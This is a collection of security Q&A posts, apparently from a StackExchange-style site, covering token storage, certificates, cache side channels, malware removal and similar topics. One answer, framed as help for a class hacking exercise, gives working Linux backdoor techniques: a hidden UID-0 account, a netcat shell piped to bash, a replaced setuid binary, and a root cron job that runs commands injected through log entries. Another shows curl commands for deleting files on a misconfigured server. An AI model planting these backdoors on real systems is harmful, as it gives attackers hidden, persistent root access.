If, in fact, you are using authenticated encryption and so you can verify via the MAC that the ciphertext has not, in fact, been tampered with before you attempt to decrypt it, then yes, this is a reasonably safe way to store and protect data, provided of course that you are as you stated using strong encryption and the implementation is otherwise sound.


OpenID Connect: Is storing access token in browser secure? I'm currently in the phase of integrating my web-site to OpenID Connect provided by KeyCloak. The web-site is not a single page application. However, different parts of the application are delivered by different web services.

In each site delivered by these different web services, the user can call a standard REST API. This REST API can only be accessed with an access token received from KeyCloak. Thus, the user needs to log-in on the web-site using authorization code flow of OpenId Connect offered by KeyCloak and use the access token given by the token endpoint. This request with the access token can be either sent by browser or by one of the back-end services delivering the current web-site. Thus, we can either do a a client-side integration or server-side integration with the REST API.

Unfortunately, the server-side integration is not that feasible due to the complex structure of back-end systems. I cannot even integrate most of web services with KeyCloak. Thus, I could store the access token in the browser in local storage and access to the REST API directly from browser. However, I'm still unsure if storing the access token in browser will bring a security vulnerability.

I could not see any official statement regarding this in the standards, so far. I have seen applications both storing it in the back-end and storing in the browser and I still can't tell the exact security benefit of using a session over an access token when we store it in the back-end. I do not intend to save refresh token in the browser and use only authorization code flow with the help of a back-end service.

My questions:

Is it a security vulnerability to store the access token in browser? E.g., in local storage, in a cookie with HttpOnly, or both of them?
Is there a way to mitigate the security threat and still store it in browser?
Is there a best practice or guideline for storing the access tokens of OpenID Connect that you could refer to?
What is the difference from the security perspective between storing the access token and session, if we can use the session to access the API over an intermediary service?

Thank you for your assistance in advance!

Is it a security vulnerability to store the access token in browser?
  E.g., in local storage, in a cookie with HttpOnly, or both of them?

In local storage : yes, it can be easily accessed from another domain.

In a cookie with HttpOnly, the browser (if it respects the standard) will only "display" it by attaching it to request send to your domain. Be sure to be protected against CSRF.

  Is there a way to mitigate the security threat and still store it in browser?

If you store it in your memory tab, only your code can access it, but someone could inject some malicious code into yours. So you have to be protected against JavaScript injection (and you can't be fully fully sure of that !).

You can reduce the lifetime of the token.

  Is there a best practice or guideline for storing the access tokens of OpenID Connect that you could refer to?

Some security cloud services give good guidelines to implement their services (based on open id connect / oauth2).
Have a look at AuthO or Okta for example.

The common way of using it is to add the access_token in Authorization header with Bearer prefix. Store it in memory of your tab.

You can also store it in your backend and give a session to the browser, but this only works with a front gateway and/or with shared session (over Redis for example)

  What is the difference from the security perspective between storing the access token and session, if we can use the session to access the API over an intermediary service?

It depends if you talk about oauth2 or open id connect. Please have a look here.
A session is stored in the memory of a server, so it can be revoked easily and store data server side.
An access token, once emitted, is always true until it's expiration date.

This answer is based on my current knowledge at this time, it may evolve later !
Hope this help.


Virus - by-pass with binairies repackaging Why don’t « hackers » (or more accurately, « virus maker ») just do repackaging over their malware to by-pass antivirus software? Because it resolves the issue of the virus signature (kind of hash), doesn’t it ?
How can anti-virus software detect these kinds of easy modifications?

File hashes are by far not the most helpful method of detecting malware (unlike a couple of decades ago). Today, malware recognition (and sometimes classification) is heavily based on real-time heuristical analysis of its operations. This analysis deals with lots of data, which mostly consists of the system calls performed by the application, and their order. The system calls are tracked via a technique called hooking.

Of course, other things are taken into account. For example, most malware authors out there fail dramatically with their packers and cryptors, making it obvious that a file was, well, packed/crypted. And some just use well-known packers/cryptors that generate files which are easily recognized by antiviruses.


Apart from uploaded files, how else can 777 permissions on website files/folders be exploited? I have seen several instances of php websites being compromised due to permissions being set as 777 on the website folders. In these instances the cause was a foreign file uploaded by the attacker.

Say I am running Apache with a single empty folder, uploads, and a single file, index.php, in my webroot as below:

<?= "Hello World" ?>

If I was to set folder and file permissions to 777, can this be exploited?

It means that anyone can write to your folder , so someone can put (by using http PUT method curl http://myservice --upload-file file.txt)and call a cgi script that delete all your files or do whatever he/she wants.
Your index.php can also be delete by using:

  curl -X delete www.yoursite.com/index.php

But these two methods also depend on Apache configuration , which methods you have allowed and which are not allowed. You can see which methods a server allows , by using curl -I url command

Reference:

HTTP delete

The DELETE method requests that the origin server delete the resource identified by the Request-URI. This method MAY be overridden by human intervention (or other means) on the origin server. The client cannot be guaranteed that the operation has been carried out, even if the status code returned from the origin server indicates that the action has been completed successfully. However, the server SHOULD NOT indicate success unless, at the time the response is given, it intends to delete the resource or move it to an inaccessible location.

A successful response SHOULD be 200 (OK) if the response includes an entity describing the status, 202 (Accepted) if the action has not yet been enacted, or 204 (No Content) if the action has been enacted but the response does not include an entity.


Replicate HTTP GET request I'm trying to verify an attack called Dahua Vulnerability.
In the PCAP I've got:

GET /current_config/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx

How can I replicate this attack to show if an attacker got any information with this attempt?

(I don't want to look in the server logs. I would like to replicate the attack.)

The best thing you can do is to make a script that makes the HTTP requests and check the responses, I will suggest you to have a look to the python module requests or even pycurl and choose the best suites you.


What security operations provide confidentiality, integrity and authentication? I'm a newbie in security. I read a lot (recently read this book), and now asking question just to be sure if I understood everything.

Here are my questions (or assumptions), which of them are correct?

Confidentiality: to ensure confidentiality, we can use encryption
Integrity: to ensure integrity, we can use encryption, or data signing
Authentication: to ensure authentication, we can use data signing
Availibility: is ensured no matter what we use - we can use encryption, data signing, or we can not use them - we always have the Availibility

Your question is difficult to answer because security is a property of a system, not a property of a single technology or algorithm.

Confidentiality

It can be assured using encryption, but that's not enough. You need to look at the whole system to give a meaningful answer.

Here's a system that uses encryption and doesn't guarantee confidentiality: The WEP wireless encryption system. It is flawed because is reuses IVs too fast (I think), meaning that you can decrypt WEP communications after listening to the encrypted traffic for a while.

Also, sometimes the content of a message isn't as important as the fact that there was a message at all. So just knowing that A sent a message to B might already be enough to destroy confidentiality. If you call a suicide prevention hotline and I learn of this conversation, I can be fairly sure what you were talking about without knowing the exact content of the conversation.

Integrity and Authentication

You have a related problem when using encryption for integrity. Assume you're using a block cipher which encrypts data in 8 byte blocks. Assume you're trying to protect the integrity of the string "I give Reinards $1000000". You encrypt that, yielding "a7nBg2iUlRaM1iiRT64O21pm". What's to stop me from taking the last 8 bytes of the ciphertext and replacing them with something else? As long as it decrypts correctly, how are you going to know it's not the original? And what if I manage to replace the last 8 bytes with something that decrypts to "$9999999", or "my child"? Okay, maybe the times where we sold children into slavery are over, but you've just given me much more than you bargained for. So you don't need encryption for message integrity, you need message authentication, which is commonly done using message authentication codes.

Availability

Availability means the data is there when you need it. You don't just "have" availability in contexts where data sits in a datacenter at the other end of the planet. A large number of systems must interoperate perfectly to allow you to look at that data when you want it. One of these systems may be Nagios, which alerts people to service disruptions. Another might be a set of high-availability solutions which switch over to another datacenter when the first one currently suffers from a power outage or hurricane damage. This has nothing at all to do with encryption or digital signing.

The currently gravest threat to service availabilty is probably distributed denial of service attacks, which are very difficult to counter. No amount of encryption or digital signing can help here.


Enabling firewall for the IPv6 tunnel on Windows 2008 64-bit I am currently on a IPv4 network. The IPv4 network is accessed by a router, which gives my machines IPv4 addresses via NAT.

On one of the machines, a Windows 2008 64-bit machine, I have set up a IPv6 tunnel. This allows me to access IPv6 sites by using IPv6 to IPv4 tunnelling to a IPv4 server, which de-encapsulate the packets and routes them to the IPv6 sites.

After setting up the IPv6 tunnel, I noticed a security issue. All ports exposed by the Windows machine is accessible by anyone who knows my IPv6 address.

My question is, does anyone know how I can block traffic at the IPv6 tunnel?

I have Googled around, but so far, I have been unable to find any solutions.

Thank you.

Not entirely sure why the answer from @balgan had a downvote, but to expand essentially I would recommend the same thing which is to use the windows firewall which ships with Server 2008 to protect that host and block access to services over the IPv6 tunnel interface.

If you've not running the firewall already to block IPv4 connections, you could add a custom rule specifically for the IPv6 address that you've got assigned to the host via the windows firewall management gui.


How can I disable logging for specific rule in pfsense I would like to prevent pfsense logging of the block for the rule below:

Rule: 'Block ULA networks from WAN'
Source: my_router_ip:specific_port
Dest: ip:1900
Protocol: UDP

Even though I have disabled UPnP discovery from my home wifi router, every hour it sends out 6 requests, which fill up my logs.

I have tried creating a WAN Easy Rule, but the requests are still being logged. Any help would be appreciated.

You have to create a rule that specificly blocks this kind of traffic. You don't enbale logging for this rule and this rule has to be placed before your block any rule that is generating the log entries.


Protecting server from physical access? How do you protect your server at the datacenter from physical access by unauthorized personal?

Considering protection against malware (keylogger and trojans) and having data- and OS integrity?

Is it even possible?

The first step would be using a secure facility that carefully controls access.  Beyond that, locking the rack is probably one of the best bets.  Super glue in control ports works well too as long as you know you won't need to use or change the port. Chasis locks, etc.  A lot of it really comes down to trusting the data center to provide that outer layer of security though.  Unattended hardware in a room someone else has access to can be broken in to if someone really wants to.

While it won't prevent physical access, you can also do thing like log chasis intrusions (if you have the sensor for it) and any changes in hardware state.  These can also be worked around by a careful attacker with knowledge of your hardware though.

If you really need full control, then you need full control of the physical environment as well.


How to access my router securely (using WiFi)? I am wondering how can I secure my router so that when I login (using WiFi) someone cannot see my username and password using software such as ettercap. As you can see it is saying "Your connection to this site is not private. I have tested this out to see if I can view the username and password with ettercap and I can. So my question is how can I make this connection private? Thanks!

It depends on if your router supports encryption in the web interface; I would guess that it does. Based on your screenshot, you are using http, which is unencrypted, to connect and login to your router. This would mean your username and password are being sent in the clear when you log in to manage the device. For obvious reasons, this is bad. Try connecting to the router with https://192.168.1.1/ (or whatever the router's current IP address is).

More on HTTP.
More on HTTPS.

TL:DR; see if there in encryption available.


How does an insecure RNG affect cryptography, and how do I measure the corresponding loss of security? Suppose a given random number generator has poor entropy, and is compressible by any compression algorithm (zlib, bzip2, lzma, etc).

Specifically the issues with this RNG are:

Bad entropy
Bad seed size
Failure to use multiple sources of entropy
Reseeding only occurs once, at initialization, instead of at an interval. (less important than the issues mentioned above)

I'm asking this question so I can:

..estimate the loss of security created by bad entropy
..understand what aspects of encryption would be affected, and what wouldn't be affected (hashing, encryption, signatures, etc)

It all depends on where the RNG is being used.  A good post with links to good reads.

Encryption: IV Generation
Encryption is effected because the entire point of an Initialization Vector is to provide more randomness into the crypt context without rekeying.

Encryption: Key Generation
I feel like this should be obvious, if your key is predictable in any way then what's the point in encryption?  Any public key cryptography used to protect the key is invalidated because now the key can be derived, and communications decrypted.

Public/Private Key Generation
Weak key generation for asymmetric cryptography is extremely bad.  If you can derive a private key it can be used to impersonate people or servers.  Signed data with that certificate is now distrusted.  Any session keys exchanged with its public key to encrypt data can now be exposed.

Integrity Hashes
These can be indirectly effected if you're using an HMAC, this goes back to bad key derivation.  If the integrity key can be derived, then an attacker can insert data into a stream and it will be accepted on the other side as legit data.

Now performing attacks against these weaknesses aren't always the easiest, but they're all doable.  It depends on the protocol that's being used, how much other data is needed, etc.  In a protocol like SSL/TLS you need data from both sides, plus the key shared in order to derive all keys.  I hope this answers your question, I'd be happy to answer in more detail if you'd like.

Examples of when RNGs went wrong.


What are features of a suitable tool for tracking and reporting security incidents? What are features of a suitable tool for tracking and reporting security incidents?
Is it a bad idea to have one central repository for tracking all types of incidents, from helpdesk issues, to security attacks, failures, power outage, and downtime? Or it is better to use specific tools for tracking specific types of incidents?

Has anyone used Jira for the purpose of tracking security incidents such as malware, DDoS, data breach, and downtime?

The best solution for security incidents is one that has all the people who might need to work on the incident already using it.

It's tempting (I've done it) to implement a separate security incident system.  Fears about confidentiality of the allure of security specific features make it attractive.

But in the end if the organisation already has something with SLAs, tracking and most of all the ability to assign jobs to anyone to get stuff fixed that's worth a million dollars. Use it.

You also get some bonuses: not having to support another system, management reporting already in place, reusing existing training and documentation.  There's lots of reasons not to implement something specifically for security.

(JIRA would work - but the most important thing is to use what your resolvers are using).


Cache side-channels: Prime & Probe attack I am having trouble to completely understand the Prime & Probe attack:
My current understanding is this:

Priming phase: The attacker occupies all cache sets with attacker data.
Probe phase: The attacker measures access time to figure out which set of data was accessed by the victim.

But the set is only part of the address. How can an attacker still deduce which address exactly was accessed? I know that this something to do with spatial/temporal locality, but I am struggling to understand how exactly an attacker could abuse this to obtain the full address a victim accessed?

Edit: To add some more context: I am studying for an exam at the moment and after a general explanation of the prime & probe attack, the slide mentions the following:

  Question: The set is only a part of the address, why does it still
  give away important information to the attacker?

  A: Because the cache makes use of the temporal & spatial locality
  properties of computer programs

Where spatial and temporal locality refer to the assumption that in programs, when an address is accessed it is likely to be accessed again in the near future (temporal locality) or an address near to it is likely to be accessed again in the near feature (spatial locality).
The slides then conclude that because of temporal & spatial locality:

  Data objects with ”close” proximity, i.e.  entries of a table, are stored in different sets

(For example, for a two-dimensional table, each table line would be stored in a different set). This is to prevent that those object compete for the cache.

But I still do not understand how this could help us for side-channel attacks?

Just to reiterate, this is how cache timing attacks work:

Attacker fills up the cache with arbitrary data. The actual values don't matter, so long as the cache is full of data that isn't what's accessed by the algorithm.
Some portion (or all) of the algorithm runs.
Based on how long it took and their knowledge of the relevant algorithm, the attacker can estimate what cache lines were loaded. Note that this does not have to happen locally -- depending on how the encryption is used, it can be done remotely as well, even over a busy network!

See, e.g., this paper for a description of using cache timing attacks against (at the time) common AES implementations. In short, because you know how the algorithm works (Kerckhoff's Principle) and nonces come from the client, you can pick your nonces and messages carefully so that certain nonces will trigger a significantly different timing. The only uncontrolled variable is the secret key, so it must be influencing the timing. Repeat with enough nonces, and you'll be able to determine that a certain timing pattern can only occur with a certain set of nonces if a specific byte of the key is one of 23 options, instead of one in 28.

While it won't give you the exact address used, you don't need that, and in fact it probably wouldn't be very useful without context. What's important is that, because certain data is loaded into the cache and therefore quicker to access, you now have more constraints on the possibilities than you did before, and you can brute-force within those constraints much faster than you could the full, 128-bit key.


Two certificates with HSTS on different ports? Is it possible to set up Nginx in such way, that on the same domain it will serve on two different ports, two different valid certificates both with HSTS?

Certificates are from different CA and for different applications. I would prefer to avoid moving one to a subdomain.

Is it possible?

If yes - how?
If no - why?

Yes.  It works fine.  Just add listen <port> ssl and the certificates to each server stanza:

server {
    listen          443 ssl;
    server_name     www.example.com;
    ssl_certificate www.example.com.crt;
    ...
}

server {
    listen          444  ssl;
    server_name     www.example.com;
    ssl_certificate www.example.com2.crt;
    ...
}

HSTS shouldn't cause problems but certificate pinning might.


Is a SSL CA signed certificate necessary when connecting with IP Address? I'm currently creating a socket server, and would like to encrypt communications.
The thing is, the client will connect directly to the ip without any DNS. (Every user will know the Server's IP Address)

Do I need to purchase a CA signed Certificates, or does a self signed certificate will be enough for security ?

Self signing would give you the benefits of encryption, but would not give the assurance that your clients were connecting to your server as it is not verifiable by a Certificate Authority.

Self signing the server against its IP address would put you at risk of IP hijacking. Using IP instead of domain name takes DNS spoofing out of the equation, but does not entirely remove the threat of MITM attacks, therefore you should not use IP match as the only validation mechanism.

It would be better to get a domain and a cheap domain validated certificate (DV Certificate) and make sure that clients are validating the Subject Alternative Name for a match during the handshake.

As well as the security benefits, this will also give you the convenience and portability in future if you ever need to relocate the server.

The exception to this is if you have total control over your client applications. Then you could use a self signed certificate and you could employ certificate pinning to ensure that it is your server that they are connecting to.


How easy is it to make a malicious bank/identity card? I recently got a magnetic card reader that plugs into my computer because I was bored. I decided to scan my ID and bank card through it and I was surprised to see my ID number/bank card number show up plainly on the screen. Therefore, can you load a custom value onto a blank card (say, another number or SQL injection string) easily with off-the-shelf equipment? And do these attacks occur frequently?

The ID and bank card number isn't exactly private information. After all, these numbers are simply printed on the physical card, so it makes sense that they can be read out as-is by an electronic card reader. This information is analogous to a user name of an email account, for instance.

Actions that involve using the card's embedded microchip, except the most basic ones, require its holder to successfully authenticate, usually done by entering the card's associated Personal Identification Number (PIN).

The cards contain (at least) one certificate (usually X.509), which can be used to sign a document digitally, e.g. a financial transaction (among other things). The document's receiver can then use the digital signature to validate the signer's identity claim.

The certificate(s) comes from a trusted certificate authority (CA), which are also digitally signed by the same CA. In the case of an electronic identity card, this is most commonly the government who issued the card.

So can you easily forge an chipped ID or bank card? The answer is no, because

You'll need more than just the card to use it effectively;
The certificate on the card is very difficult to forge.


Logout on OIDC Provider Refresh Token validity in comparison to OAuth I have an Relying Party that has obtained an Access Token and Refresh Token (as well as an ID Token) from an OpenID Provider (not an offline token).
In all cases I have seen, the Refresh Token is invalidated when the user logs out from the OpenID Provider.
When I have an OAuth Client that obtains an Access Token and Refresh Token, this Client should  be able to access the ressource even when the user is not present - and Authorization Servers do not invalidate the Refresh Token once the user logs out from the Authorization Server.
However, I have not found a word in any of the standards that says something about invalidating Refresh Token obtained through OIDC when the user logs out from the OpenID Provider.
Is there any source hinting to that?

From OIDC back-channel logout draft 06:

2.7.  Back-Channel Logout Actions
Refresh tokens issued without the offline_access property to a
session being logged out SHOULD be revoked. Refresh tokens issued with
the offline_access property normally SHOULD NOT be revoked. NOTE: An
open issue for the specification is whether to define an additional
optional parameter in the logout token, probably as a value in the
event-specific parameters JSON object, that explicitly signals that
offline_access refresh tokens are also to be revoked.

...and a reminder about the difference between back-channel and front-channel logout. Back-channel is:

a logout mechanism that uses direct
back-channel communication between the OP and RPs being logged out;
this differs from front-channel logout mechanisms, which communicate
logout requests from the OP to RPs via the User Agent.

The revocation of the refresh token is not mentioned in any other session management/logout drafts: front-channel logout draft 04, session management draft 30 or RP-initiated logout draft 01. Given that these are drafts and not approved RFCs, the implementations can choose to comply or not comply with the language.
From a real-world perspective, we agree with the wording in back-channel logout draft. It makes sense for refresh token to be revoked unless it was explicitly acquired for offline use. Hopefully the same perspective and language are incorporated in future front-channel and RP-initiated drafts.


Is a SSL client required to try multiple certificate chains? Yesteday, 10 July 2019 I failed to access dict.tu-chemnitz.de with Epiphany (WebKit2, which is using GNUTLS) and mailed the administrator which fixed it quickly. Here is the access via GNUTLS:

$ gnutls-cli dict.tu-chemnitz.de
Processed 155 CA certificate(s).
Resolving 'dict.tu-chemnitz.de:443'...
Connecting to '134.109.133.9:443'...
- Certificate type: X.509
- Got a certificate list of 4 certificates.
- Certificate[0] info:
  - subject `CN=dict.tu-chemnitz.de,OU=Universitaetsrechenzentrum,O=Technische Universitaet Chemnitz,L=Chemnitz,ST=Sachsen,C=DE', issuer `CN=DFN-Verein Global Issuing CA,OU=DFN-PKI,O=Verein zur Foerderung eines Deutschen Forschungsnetzes e. V.,C=DE', serial 0x1ddeea4d08db829c1f1b3603, RSA key 2048 bits, signed using RSA-SHA256, activated `2017-09-18 06:50:38 UTC', expires `2020-12-15 06:50:38 UTC', pin-sha256="HPAyb8xUhT23hfPUC+J6sxeVlW8e4K8N3JOGE2pZZH8="
    Public Key ID:
        sha1:f43cd7f782e17d07c98de23c71d613d834dde868
        sha256:1cf0326fcc54853db785f3d40be27ab31795956f1ee0af0ddc9386136a59647f
    Public Key PIN:
        pin-sha256:HPAyb8xUhT23hfPUC+J6sxeVlW8e4K8N3JOGE2pZZH8=

- Certificate[1] info:
  - subject `CN=DFN-Verein Global Issuing CA,OU=DFN-PKI,O=Verein zur Foerderung eines Deutschen Forschungsnetzes e. V.,C=DE', issuer `CN=DFN-Verein Certification Authority 2,OU=DFN-PKI,O=Verein zur Foerderung eines Deutschen Forschungsnetzes e. V.,C=DE', serial 0x1b63bad01e2c3d, RSA key 2048 bits, signed using RSA-SHA256, activated `2016-05-24 11:38:40 UTC', expires `2031-02-22 23:59:59 UTC', pin-sha256="2plWEFSbja5Tz0pERjlr4FL2fr0H4L48Rt0ZF3sKBEQ="
- Certificate[2] info:
  - subject `CN=DFN-Verein Certification Authority 2,OU=DFN-PKI,O=Verein zur Foerderung eines Deutschen Forschungsnetzes e. V.,C=DE', issuer `CN=T-TeleSec GlobalRoot Class 2,OU=T-Systems Trust Center,O=T-Systems Enterprise Services GmbH,C=DE', serial 0x00e30bd5f8af25d981, RSA key 2048 bits, signed using RSA-SHA256, activated `2016-02-22 13:38:22 UTC', expires `2031-02-22 23:59:59 UTC', pin-sha256="nKACHrGIK7Y2Rip247vWnOEfapF/v8H8rewd/Mzla8U="
- Certificate[3] info:
  - subject `CN=T-TeleSec GlobalRoot Class 2,OU=T-Systems Trust Center,O=T-Systems Enterprise Services GmbH,C=DE', issuer `CN=Deutsche Telekom Root CA 2,OU=T-TeleSec Trust Center,O=Deutsche Telekom AG,C=DE', serial 0x119c148cc1ac0e95, RSA key 2048 bits, signed using RSA-SHA256, activated `2016-04-25 09:01:39 UTC', expires `2019-07-09 23:59:59 UTC', pin-sha256="YQbA46CimYMYdRJ719PMGFmAPVEcrBHrbghA3RZvwQ4="
- Status: The certificate is NOT trusted. The certificate chain uses expired certificate.
*** PKI verification of server certificate failed...
*** Fatal error: Error in the certificate.

As you can see, last certificated expired at 2019-07-09 23:59:59 UTC and therefore I wasn't able to access the page yesterday. DFN stands for Deutsches Forschungs Netzwerk, which translates to German Research Network.
I had not the time to wait until the scan of SSLLabs finished yesterday, which is - of course - now fine. I remember, that SSLShopper and a service of 1&1 also reported the problem. On the other hand, Chrome and Firefox accepted the certificate on my computer. I'm careful about Chrome and Firefox, which both cache intermediate certificates and silently  reuse them when possible. Therefore I always test the validity of a certificate with Epiphany, GNUTLS or OpenSSL and external services.

It was explained to me, that the domain used a cross-certificate. Does a cross-certificate imply multiple certificate chains? Is a SSL client required to try out more than one chain?

PS: I recommend that dictionary, it's pretty good and comprehensive. There is also a desktop application. The admin is also friendly :)

I don't know if the client is actually required to check all possible chains but I know that at least OpenSSL by default does not check all possible chains.

In the past it followed the chain send by the server until the end (ignoring any self-signed at the end) and then checked if it finds a root certificate in the trust store to complete the chain. This caused various trouble with cross-certificates, see here for details.

Newer OpenSSL version (since 1.1.0) instead check at each step at the server provided chain if they have a locally trusted certificate which completes the chain it has so far.


Malware - are removal tools acceptable or is bare metal re-install the only safe option? I see a number of companies offering "malware removal" services.  I see some software that claims to be able to remove malware from an infected machine.

Is using a removal software tool to 'clean' an infected machine acceptable practice, or is the only safe method to reformat the machine and then carefully restore data after that data has been thoroughly checked?

It actually depends a lot on the malware in question as to whether a removal tool is in fact a really feasible option. Whether said tool works or not depends on how much the author of the tool knew about the original malware and what it did.

To illustrate my point, take a look at something like Autoruns. There are a whole slew of ways to get your chosen executable to run on windows startup which autotools mostly displays, but only two of those are standard choices for the average software engineer. Malware authors can easily use many of the other areas, or even multiple areas, to become much more persistent across reboots.

Next up is the damage you can to the windows registry. For example, the handling of .exe files is in fact denoted by a registry entry, so there's an attack point with which I could damage your system if you undid it naively. Likewise for other common extensions such as word documents. The question becomes, does the removal tool author know what these values were  prior to the viral infection? Does the tool even detect these changes? I could easily hide a re-install malware executable in such a route, triggered by say a plugin load into internet explorer, or such like.

Next up is the most difficult to recover from - what if said virus starts trampling all over various files you own? It's entirely possible it could patch parts of windows this way, or your user data and programs, storing copies of itself, which means you'd have to know it did this and search for the damaged files, or else scan all files for the payload. Which gets even harder if it is self modifying. If any of these payloads are triggered, a re-install is a likely behaviour.

The final case is the old rootkit, which could hide the infection from the cleaning program. You can go some way to detecting rootkits if you try hard, but it is significantly non-trivial.

I should also point out at this stage that websites offering to clean/disinfect your computer are a great attack vector for any malware author. Emails introducing yourself as Mr So and So with £850,000 USD they just happen to want to give away are pretty obviously frauds to most people, but the computer says "alert, you have a virus" in a way that looks legitimate to your average home user and before you know it, they've installed said "product". They don't necessarily have the technical expertise to realise the scam here.

I do not trust said cleaning tools or services unless they come from reputable vendors.

The insurance industry employs the term "write-off" when the cost of repairing or fixing something is greater than the cost of replacing it. In my mind, undoing the damage to an operating system a "good" (as in, highly effective) piece of malware can do is probably not worth the time and effort it takes unless you are (very) determined to learn about the infection and the behaviour of the malware. So I would write off the install in all likeliness.

That said, some malware is fairly simple and does not impact the system as badly as it could. In which case, a removal tool might well be all it takes to clean it. The problem is knowing that it is in fact just a simple piece of malware.

Further update: Based on this.josh's comment - a lot of malware I personally have seen has not been so advanced as to be incredibly difficult to remove. However, a common trend I have seen on infected PCs is for the PC to be infected with multiple pieces of malware, all doing different things. Often, a single initial infection seems often to be built entirely to do this. Tracking all of those pieces down and deducing whether they're part of a whole, or separate entities and what variant they are is a time-consuming process which keeps full time malware analysts employed at varying reputable vendors. I personally therefore have two questions of "malware removal" tools you find:

Do their authors have the same level of experience in removing malware as the likes of Symantec, McAfee etc?
Have their authors had the same amount of time to analyse the malware? I know how to use disassembler tools, but I can tell you the process of working out what something does from disassembly is one that takes a lot of time to learn and time to do even if you're an expert. I know because I'm not that great at it.

I have a hard time believing what appear to be "silver bullet" solutions.

Obviously there is a caveat to this - reputable companies offering virus cleaners (which happens sometimes) are likely to work and unlikely to be malicious. It's about making a judgement call as to how much you trust the author of the tool and how sure you are they are who they say they are. I would say, however, that it is known that some malware is capable of disabling reputable anti-malware products (although it isn't common) and that prevention is pretty much always preferable to cure.

Compare it to being burgled, if you've ever had the misfortune to have that happen. Some things are obviously missing, like the TV. However, to give a full list of what is missing and out of place is very hard to do - did they take X, or did you just leave it at someone else's house? Or in the car? Where's Y? The same applies to malware - a full account of the damage done is hard, especially as, just like thieves, each piece of malware is different. Like thieves, malware has some common traits, like targeting autorun methods so that is what makes it obvious there's been an intrusion, but as I say, fully accounting for everything is hard.


Port Scan Detected and Blocked! - Bitdefender 2014 I have Bitdefender Total Security 2014.

Recently I have been getting the message/alert "Port scan detected and blocked". I did not care about it much until I getting more especially in a specific timee. I was shocked when I saw the External IP of the attacker is from the same country where I am; so it's not a robot or virus, it's a hacker and I am his target.
Can the hacker break my security and access my computer if he found an opened port?

How to block port scanning by hackers? I have heard of NMap but I am not network specialist.

If my anti-virus and firewall are not the best, what do you recommend for me? All internet is saying Bitdefender is one of the best (if not the best!). But I have asked a specialist and he said "COMODO".

What configurations should I set on my router to help regarding this problem?
Should I allow the following settings or not?
IGMP Snooping
IGMP Snooping
QoS

I have disabled UPnP
Wifi password encrypted "WPA2-PSK"
I have enabled: ICMP Flooding, SYN Flooding and ARP Attack but I think my internet connection getting slower!
http://prntscr.com/5fabgc

This likely isn't as bad as it sounds.  If you have your computer plugged directly in to the modem, random port scanning of IP addresses on the internet is extremely common.  On my web server, I get about 30 to 100 invalid login attempts a day trying to get on my system.

Hackers look for low hanging fruit, so they will scan large swaths of the Internet looking for vulnerable systems.  Just because you are seeing activity like this does not mean you are being targeted.

It does, however, illustrate the importance of protecting yourself from intrusions.  I would recommend getting a router with a firewall and set that up to prevent attackers from being able to directly attempt to access your computer.  This strategy is called defense in depth (now rather than simply exploiting your computer, they must first exploit the router and then try to exploit your computer and that gives you time to detect your router is compromised) and it will help protect you from attacks and prevent the port scans from reaching your computer (as they will instead be hitting the router's WAN port firewall instead.)


What chars should I not allow in passwords? I am planning to develop a website that require that the users register a username and a password. When I let the user choose a password, what chars should I allow the users to have in the password? is there any that I shouldn't because of security issues with the http protocol or implementation language?

I haven't decided for a implementation language yet but I will use Linux.

From a security/implementation perspective, there shouldn't be any need to disallow characters apart from '\0' (which is hard to type anyway). The more characters you bar, the smaller the total phase space of possible passwords and therefore the quicker it is to brute-force passwords. Of course, most password-guessing actually uses dictionary words rather than systematic searches of the input domain...

From a usability perspective, however, some characters are not typed the same way on different machines. As an example, I have two different computers here where shift-3 produces # on one and £ on the other. When I type a password in, both appear as '*' so I don't know whether I got it right or not. Some people think that could confuse people enough to start disallowing those characters. I don't think it's worth doing. Most real people access real services from one or maybe two computers, and don't tend to put many extended characters in their passwords.


How do I create an invisible and persistent user on linux? For my software security class we are required to hack into a server created by our professor. I have hacked into the server, and have the password for the root user.

Now that I am root, I would like to ensure I have persistent access to the server. The hypothetical owner of the server will easily find out I took over quite rapidly.

Is there a way to ensure persistent access to the server with root privileges under a new 'invisible' user I can create. Any other methods to retain consistent and undetected access to the server would be appreciated.

It rather depends what you mean by "invisible".

It's not really possible to change the behaviour of the system and leave no detectable trace. All you can do is make it harder to find those traces. At the extreme end of the scale you could compile a kernel module capable of hiding itself which has an interface back into userspace - although this is far from trivial. A the other end of the scale you could add an alias for an existing user to /etc/passwd and /etc/shadow, e.g.

     root:x:0:0:root:/root:/bin/bash
     toor:x:0:0:root:/root:/bin/bash

     root:$1$WXYZabc4:17158:0:99999:7:::
     toor:$1$ABCxyz12:17158:0:99999:7:::

(your target will be using a more recent and verbose crypt implementation). This is visible in the affected files.

You could plumb a shell directly into the network with netcat or [x]inetd

 nc -l -p 8282 | bash

...although this is rather obvious and will show up in netstat and ps.

You could add a shell to an existing system user and set a password, then to leverage privileged access you'd need a setuid program. You no doubt already know that setting the setuid bit on a script isn't going to work - so maybe a modified version of su which skips pam for your magic username. Don't just drop it in /bin - overwrite an existing setuid program which you think is unlikely to be used (e.g. ping6). It'll still show up in tripwire or ossec.

One fun one would be to identify somewhere you can write data to without authenticating and set up a cron job as root to extract strings and run them as root (the following is deliberately simplified):

 #!/bin/bash

 tail -100 /var/log/auth.log | \
 awk '/Failed password for gangsta/ {
       split($0, out, "gangsta|from");
       print out[1] "\n";
      }' >/tmp/myscript
 . /tmp/myscript
 rm -f /tmp/myscript

...again this may get picked up by a host IDS, and beware that cron mails users with the output of their jobs unless you override this in the cron file.


Can I use a text editor to detect keystroke injection? Let's say for instance I have some USB devices I suspect of being programmed for to execute keystroke injection.
If I were to load a live OS and switch it to runlevel 1, then logged into an unpriviledged user and ran a text editor like nano before plugging one of the devices in, would this be a good way to catch a keystroke injection attempt and see what it's typing?

Are there any keystroke combinations useful for or used in keystroke injection that might make it past this?

I suggest you to use a virtual system to make a separate lab to test that drive. After that you can check the system log, and look for modified parameters, as recently executed commands.
Besides, you should see the actual keystroke injections, if there are any.
You also should have access to the drive, am I right?
Try to disassembly, and look for a microSD card. That way - if it is really a bad usb/rubber ducky/malduino - you can read the payload directly from the microSD card.


Does prepending a salt to the password instead of inserting it in the middle decrease security? I read somewhere that adding a salt at the beginning of a password before hashing it is a bad idea. Instead, the article claimed it is much more secure to insert it somewhere in the middle of the password.

I don't remember where I found this, and I cannot find any other articles saying the same thing. I also don't understand why this may increase security.

So, is it true? Or does it not matter from a security perspective? If the assertion is true, can somebody explain why? Is it valid only for weak hashes, like MD5/SHA1?

It depends on the hash function.

With a random oracle (which is the "ideal hash function"), there is no difference on how you put together salt and password at all, as long as both go in.

